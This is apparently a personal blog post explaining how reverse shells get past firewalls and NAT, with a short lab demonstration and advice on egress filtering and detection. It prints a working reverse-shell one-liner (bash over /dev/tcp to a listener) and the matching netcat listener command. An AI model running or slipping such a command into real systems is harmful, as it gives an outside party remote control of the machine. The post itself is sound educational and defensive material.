reverse shells: how attackers keep control after the break-in
explaining how the reverse shell work and why we don't use the bind shell
getting code execution on someone's server is actually the easy part. the interesting question is what happens after . how do you stay there, on a machine sitting behind a firewall and NAT, that doesn't accept connections from strangers? the answer is one of my favorite tricks in networking, mostly because it abuses a quirk that we usually consider a feature.
two ways to get a shell
bind shell: the victim machine opens a port and waits, the attacker connects to it. it sounds natural, and it almost never works in real life, because that inbound connection has to get past the firewall, past NAT, past cloud security groups. dropping inbound connections is the whole point of a firewall.
reverse shell: flip the direction. the victim connects out to the attacker, who's just sitting there listening. outbound connections are allowed basically everywhere, because that's how normal people use the internet: browsing, APIs, etc....
bind shell (blocked):
attacker ──connect──▶ [FIREWALL/NAT] ──X──▶ victim:4444 ✗
reverse shell (passes):
victim ──connect──▶ [FIREWALL/NAT] ──▶ attacker:4444 ✓
if you ever played with P2P apps behind strict NAT, you've hit this exact problem. i wrote about it before from the "how do i fix this" side. same behavior here, except this time someone is using it against you.
the POC
you need two machines. VMs. never do this on a network you don't own, obviously.
attacker side, listening (let we say it have 10.10.10.1):
nc -lvnp 4444victim side, connect back and hand over the shell:
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1 2>&1that's the whole trick. the victim opened an outbound connection and piped its own shell into it. from the firewall's point of view this looks like regular traffic, a bash process talking to some IP on some port.
fancier tools do the same thing with encryption, retries, meterpreter sessions, and the victim still does the connecting.
why it's annoying to detect
- outbound traffic is allowed by default almost everywhere
- it can ride any port. 4444? sure. 443 and it looks like HTTPS. 53 and it looks like DNS
- once encrypted, an IDS just sees a TLS blob
signature-based detection won't catch this. you have to watch behavior, and a bash or python process holding a raw outbound connection to some random IP is basically never legitimate. check it with:
ss -tnp # which process owns which connection
lsof -i -P # same idea, more detail
defending without magic
the fix is boring, which is why nobody does it:
- egress filtering. your web server has zero business opening connections to random IPs. allowlist its destinations, drop everything else. reverse shells and most C2 traffic die right there
- no shell tools on prod. no nc, no python, no perl on the box = one-liners get a lot harder
- log outbound stuff. even a basic setup turns "process X connected to random IP on 4444" into an alert instead of a mystery
that last one also ties into the honeypot picture. T-Pot shows you the thousands of scanners knocking, and reverse shell behavior is what happens after one of them gets lucky.
the resume of what i said in that writing
bind shells die behind NAT/firewalls. reverse shells live, because outbound traffic is always allowed
- nc -lvnp 4444 on one side, one line of bash on the other, done
- ss -tnp tells you which process is phoning home
- egress filtering is boring and it works